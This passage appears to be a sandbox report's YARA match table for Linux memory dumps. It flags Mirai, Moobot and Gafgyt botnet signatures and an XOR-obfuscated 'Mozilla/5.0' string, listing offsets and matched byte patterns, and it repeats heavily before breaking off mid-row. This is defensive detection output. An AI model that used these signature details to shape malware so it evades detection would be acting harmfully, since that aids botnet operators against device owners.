6521.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6521.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7309.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6624.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6624.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6624.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6624.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6844.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6898.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6784.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6987.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6987.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6987.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6987.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6987.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6987.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6818.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6818.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6818.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6818.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6818.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6818.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7157.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7157.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7157.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7157.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7157.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7157.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7168.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6775.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7435.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7268.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7298.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7298.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 